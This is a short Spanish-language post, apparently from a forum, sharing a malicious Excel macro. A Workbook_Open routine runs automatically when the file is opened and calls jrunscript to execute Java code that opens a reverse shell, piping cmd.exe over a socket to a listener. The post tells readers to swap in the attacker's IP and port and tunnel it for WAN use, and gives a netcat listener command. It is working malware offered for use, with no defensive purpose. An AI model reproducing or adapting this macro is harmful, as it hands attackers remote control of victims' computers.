hola aqui les paso una macro muy malota

cambie el puerto y la ip a la del atacante y use tunel para que fucnione en wan

ejemplo para escuchar

nc -lvnp 9001

Private Sub Workbook_Open()
Shell ("jrunscript -e ""main( 'localhost',9001,'cmd'); function main(host,port,cmd) { try { p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start(); s = new java.net.Socket(host, port); pi = p.getInputStream(); pe = p.getErrorStream(); si = s.getInputStream(); po = p.getOutputStream(); so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); java.lang.Thread.sleep(50); try { p.exitValue(); break; } catch ( e) { } } p.destroy(); s.close(); } catch ( e) {e.printStackTrace();} }"" ")
End Sub